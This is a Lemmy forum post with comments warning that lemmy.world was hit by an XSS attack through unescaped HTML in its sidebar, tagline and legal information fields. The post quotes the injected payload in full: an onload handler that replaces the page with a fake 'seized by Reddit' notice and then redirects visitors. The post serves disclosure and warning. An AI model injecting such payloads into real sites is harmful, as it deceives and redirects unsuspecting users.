396
submitted 1 year ago* (last edited 1 year ago) by AlmightySnoo@sh.itjust.works to c/lemmy@lemmy.ml

DO NOT OPEN THE "LEGAL" PAGE


lemmy.world is a victim of an XSS attack right now and the hacker simply injected a JavaScript redirection into the sidebar.

It appears the Lemmy backend does not escape HTML in the main sidebar. Not sure if this is also true for community sidebars.

EDIT:

the exploit is also in the tagline that appears on top of the main feed for status updates, like the following one for SDF Chatter:

EDIT 2:

The legal information field also has that exploit, so that when you go to the "Legal" page it shows the HTML unescaped, but fortunately (for now) he's using double-quotes.

"legal_information":" ![\" onload=\"if(localStorage.getItem(`h`) != `true`){document.body.innerHTML = `\u003Ch1\u003ESite has been seized by Reddit for copyright infringment\u003C\u002Fh1\u003E`; setTimeout(() =\u003E {window.location.href = `https:\u002F\u002Flemmy.world\u002Fpictrs\u002Fimage\u002F7aa772b7-9416-45d1-805b-36ec21be9f66.mp4`}, 10000)}\"](https:\u002F\u002Flemmy.world\u002Fpictrs\u002Fimage\u002F66ca36df-4ada-47b3-9169-01870d8fb0ac.png \"lw\")
you are viewing a single comment's thread
view the rest of the comments
[-] calculuschild@lemm.ee 14 points 1 year ago

GitHub issue has been reported here for those interested: https://github.com/LemmyNet/lemmy-ui/issues/1895

[-] erre@feddit.win 5 points 1 year ago

The sophistication is impressive, using emojis. Are people getting paid to find the vulnerabilities or are they just bored??

this post was submitted on 10 Jul 2023
396 points (99.7% liked)

Lemmy

11948 readers
23 users here now

Everything about Lemmy; bugs, gripes, praises, and advocacy.

For discussion about the lemmy.ml instance, go to !meta@lemmy.ml.

founded 4 years ago
MODERATORS